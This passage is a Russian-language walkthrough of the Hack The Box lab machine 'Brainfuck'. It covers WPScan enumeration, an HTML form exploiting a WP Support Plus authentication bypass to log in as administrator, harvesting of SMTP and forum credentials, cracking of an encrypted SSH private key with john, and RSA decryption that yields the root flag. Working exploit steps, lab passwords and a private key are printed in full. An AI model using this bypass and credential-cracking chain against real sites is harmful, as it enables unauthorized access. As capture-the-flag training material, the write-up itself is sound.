| Readme: https://brainfuck.htb/wp-content/themes/proficient/readme.txt
| [!] The version is out of date, the latest version is 3.0.45
| Style URL: https://brainfuck.htb/wp-content/themes/proficient/style.css?ver=4.7.3
| Style Name: Proficient
| Description: Proficient is a Multipurpose WordPress theme with lots of powerful features, instantly giving a prof...
| Author: Specia
| Author URI: https://speciatheme.com/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.0.6 (80% confidence)
| Found By: Style (Passive Detection)
| - https://brainfuck.htb/wp-content/themes/proficient/style.css?ver=4.7.3, Match: 'Version: 1.0.6'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] wp-support-plus-responsive-ticket-system
| Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Last Updated: 2019-09-03T07:57:00.000Z
| [!] The version is out of date, the latest version is 9.1.2
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 6 vulnerabilities identified:
|
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.0 – Authenticated SQL Injection
| Fixed in: 8.0.0
| References:
| - https://wpscan.com/vulnerability/f267d78f-f1e1-4210-92e4-39cce2872757
| - https://www.exploit-db.com/exploits/40939/
| - https://lenonleite.com.br/en/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/
| - https://plugins.trac.wordpress.org/changeset/1556644/wp-support-plus-responsive-ticket-system
|
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution (RCE)
| Fixed in: 8.0.8
| References:
| - https://wpscan.com/vulnerability/1527b75a-362d-47eb-85f5-47763c75b0d1
| - https://plugins.trac.wordpress.org/changeset/1763596/wp-support-plus-responsive-ticket-system
|
| [!] Title: WP Support Plus Responsive Ticket System < 9.0.3 - Multiple Authenticated SQL Injection
| Fixed in: 9.0.3
| References:
| - https://wpscan.com/vulnerability/cbbdb469-7321-44e4-a83b-cac82b116f20
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000131
| - https://github.com/00theway/exp/blob/master/wordpress/wpsupportplus.md
| - https://plugins.trac.wordpress.org/changeset/1814103/wp-support-plus-responsive-ticket-system
|
| [!] Title: WP Support Plus Responsive Ticket System < 9.1.2 - Stored XSS
| Fixed in: 9.1.2
| References:
| - https://wpscan.com/vulnerability/e406c3e8-1fab-41fd-845a-104467b0ded4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7299
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15331
| - https://cert.kalasag.com.ph/news/research/cve-2019-7299-stored-xss-in-wp-support-plus-responsive-ticket-system/
| - https://plugins.trac.wordpress.org/changeset/2024484/wp-support-plus-responsive-ticket-system
|
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
| Fixed in: 8.0.0
| References:
| - https://wpscan.com/vulnerability/b1808005-0809-4ac7-92c7-1f65e410ac4f
| - https://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
| - https://packetstormsecurity.com/files/140413/
|
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
| Fixed in: 8.0.8
| References:
| - https://wpscan.com/vulnerability/85d3126a-34a3-4799-a94b-76d7b835db5f
| - https://plugins.trac.wordpress.org/changeset/1763596
|
| Version: 7.1.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:02 <=========================================> (137 / 137) 100.00% Time: 00:00:02
[i] No Config Backups Found.
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 3
| Requests Remaining: 22
[+] Finished: Fri Jun 4 15:55:44 2021
[+] Requests Done: 178
[+] Cached Requests: 5
[+] Data Sent: 44.441 KB
[+] Data Received: 243.007 KB
[+] Memory used: 203.938 MB
[+] Elapsed time: 00:00:08
Публичный эксплоит
https://www.exploit-db.com/exploits/41006
$ nano login.html
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Открываем страницу и пробуем зайти как admin. После переходим по ссылке http://brainfuck.htb/wp-admin/.
SMTP креды
https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings
smtp username: orestis
smtp password: kHGuERB29DNiNE
Используем клиент Evolution и логинимся по SMTP.
=> смотрим письмо в почте
Hi there, your credentials for our "secret" forum are below :)
username: orestis
password: kIEnnfEKJ#9UmdO
Regards
Форум
Логинимся в https://sup3rs3cr3t.brainfuck.htb/ как orestis:kIEnnfEKJ#9UmdO.
Зашифрованный тред: https://sup3rs3cr3t.brainfuck.htb/d/3-key/2.
Берем зашифрованную строку orestis и пробуем заполнять ее ASCII-символами до тех пор, пока не сможем прочитать:
a
b
fa
fb
fu...
fuckmybrain
Начало строки - это явно https://mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr
=> https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382
mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
B2nS4+9CYBK8IR3Vt5Fo7PoWBCjAAwWYlx+cK0w1DXqa3A+BLlsSI0Kws9jea6Gi
W1ma/V7WoJJ+V4JNI7ufThQyOEUO76PlYNRM9UEF8MANQmJK37Md9Ezu53wJpUqZ
7dKcg6AM/o9VhOlpiX7SINT9dRKaKevOjopRbyEFMliP01H7ZlahWPdRRmfCXSmQ
zxH9I2lGIQTtRRA3rFktLpNedNPuZQCSswUec7eVVt2mc2Zv9PM9lCTJuRSzzVum
oz3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCV0mD97WS+1ydWEPeCph06Mem
dLR2L1uvBGJev8i9hP3thp1owvM8HgidyfMC2vOBvXbcAA3bDKvR4jsz2obf5AF+
Fvt6pmMuix8hbipP112Us54yTv/hyC+M5g1hWUuj5y4xovgr0LLfI2pGe+Fv5lXT
mcznc1ZqDY5lrlmWzTvsW7h7rm9LKgEiHn9gGgqiOlRKn5FUl+DlfaAMHWiYUKYs
LSMVvDI6w88gZb102KD2k4NV0P6OdXICJAMEa1mSOk/LS/mLO4e0N3wEX+NtgVbq
ul9guSlobasIX5DkAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVSlJcOrvNmrIy59
krKVtulxAejVQzxImWOUDYC947TXu9BAsh0MLoKtpIRL3Hcbu+vi9L5nn5LkhO/V
gdMyOyATor7Amu2xb93OO55XKkB1liw2rlWg6sBpXM1WUgoMQW50Keo6O0jzeGfA
VwmM72XbaugmhKW25q/46/yL4VMKuDyHL5Hc+Ov5v3bQ908p+Urf04dpvj9SjBzn
schqozogcC1UfJcCm6cl+967GFBa3rD5YDp3x2xyIV9SQdwGvH0ZIcp0dKKkMVZt
UX8hTqv1ROR4Ck8G1zM6Wc4QqH6DUqGi3tr7nYwy7wx1JJ6WRhpyWdL+su8f96Kn
F7gwZLtVP87d8R3uAERZnxFO9MuOZU2+PEnDXdSCSMv3qX9FvPYY3OPKbsxiAy+M
wZezLNip80XmcVJwGUYsdn+iB/UPMddX12J30YUbtw/R34TQiRFUhWLTFrmOaLab
Iql5L+0JEbeZ9O56DaXFqP3gXhMx8xBKUQax2exoTreoxCI57axBQBqThEg/HTCy
IQPmHW36mxtc+IlMDExdLHWD7mnNuIdShiAR6bXYYSM3E725fzLE1MFu45VkHDiF
mxy9EVQ+v49kg4yFwUNPPbsOppKc7gJWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
CvfPRpmLURQnvly89XX97JGJRSGJhbACqUMZnfwFpxZ8aPsVwsoXRyuub43a7GtF
9DiyCbhGuF2zYcmKjR5EOOT7HsgqQIcAOMIW55q2FJpqH1+PU8eIfFzkhUY0qoGS
EBFkZuCPyujYOTyvQZewyd+ax73HOI7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----
Брутфорс
/opt/john/run/ssh2john.py id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
=> 3poulakia!
$ chmod 600 id_rsa
$ ssh -i id_rsa [email protected]
3poulakia!
Флаг пользователя
orestis@brainfuck:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:62:55 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.17/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:6255/64 scope global mngtmpaddr dynamic
valid_lft 86258sec preferred_lft 14258sec
inet6 fe80::250:56ff:feb9:6255/64 scope link
valid_lft forever preferred_lft forever
orestis@brainfuck:~$ cat user.txt
2c11cfbc5b959f73ac15a3310bd097c9
Шифрование
orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
orestis@brainfuck:~$ cat output.txt
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
orestis@brainfuck:~$ cat debug.txt
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
Скрипт дешифрования rsa.py:
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, y
def main():
p = 749302577646506281962992147553524167446082679278552088138715834326527417000928250488494103985293310916319365183> q = 702085452778756673545885838155545264832284500826661290684484793707033348037396328414664907425227875369689724589> e = 308020079179525084227928690216891939274850163327136225270252191051542544723446272849477797262809954319474542927> ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845>
# compute n
n = p * q
# Compute phi(n)
phi = (p - 1) * (q - 1)
# Compute modular inverse of e
gcd, a, b = egcd(e, phi)
d = a
print( "n: " + str(d) );
# Decrypt ciphertext
pt = pow(ct, d, n)
print( "pt: " + str(pt) )
if __name__ == "__main__":
main()
$ python rsa.py
n: 8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750
Флаг суперпользователя
$ python3
> s = "3665666331613564626238393034373531636536353636613330356262386566"
> "".join([chr(int(s[i:i+2], 16)) for i in range(0, len(s), 2)])
'6efc1a5dbb8904751ce6566a305bb8ef'